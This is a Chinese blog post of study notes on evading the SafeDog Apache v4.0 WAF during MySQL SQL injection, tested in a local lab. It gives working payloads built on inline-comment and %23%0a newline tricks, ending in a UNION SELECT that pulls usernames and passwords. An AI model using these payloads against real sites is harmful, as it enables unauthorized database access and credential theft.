最新安全狗 apache v4.0 sql注入 bypass

前言

最近没事学习一下 wafbypass , 本文介绍下 bypass 安全狗的笔记。个人感觉 bypass 的总思路(正则匹配型 waf)就是利用各种语法特性来逃避正则(当然要保证语法正确性的前提下)

测试环境:

phpstudy  + 安全狗Apache版 V4.0、
burp + hackvertor 插件

判断注入

判断字符型注入还是数字型

往数字后面加若干个字母,如果结果不变应该是字符型注入,因为 mysql 的弱类型会把 1xxxx 转换成 1

006daSSqgy1fycznuknifj30xt0azmz8.jpg

引入逻辑表达式进行判断

利用 Mysql 支持的 /*!*/ 语法引入 && 绕过过滤

1'/*!&&*/1#'

006daSSqgy1fyczoagz14j314c0mh0zc.jpg

order by 获取列数

还是利用 /*!*/ 语法来引入关键字, 然后利用 () 包裹数字绕过空格进而绕过正则。

1'/*!&&*/0/*!order*/by(2)#'

006daSSqgy1fyczoyed5gj312m0kndle.jpg

所以有 2 列。

绕过 union

%23%0a 绕过正则, 原因大概是 # 是注释符号(只注释一行 \n 截止), waf 认为后面的都是注释不去匹配,而 mysql 支持使用 \n 代替空格,所以绕过了正则。

<@urlencode_1>1'/*!&&*/0/*! union*//*!all*/<@/urlencode_1>%23%0a<@urlencode_2>/*! sElect*/1,@@HOSTNAME#'<@/urlencode_2>

006daSSqgy1fyczphsd6wj318s0iytc5.jpg

拿密码

使用 %23%0a ,绕过正则

<@urlencode_1>1'/*!&&*/0/*! union*//*!all*/<@/urlencode_1>%23%0a<@urlencode_2>/*! sElect*/user,password <@/urlencode_2>from%23%0a<@urlencode_3>users where user_id=1<@/urlencode_3>%23%27

006daSSqgy1fyczps57xqj31f10hudjw.jpg

转载于:https://www.cnblogs.com/hac425/p/10147740.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值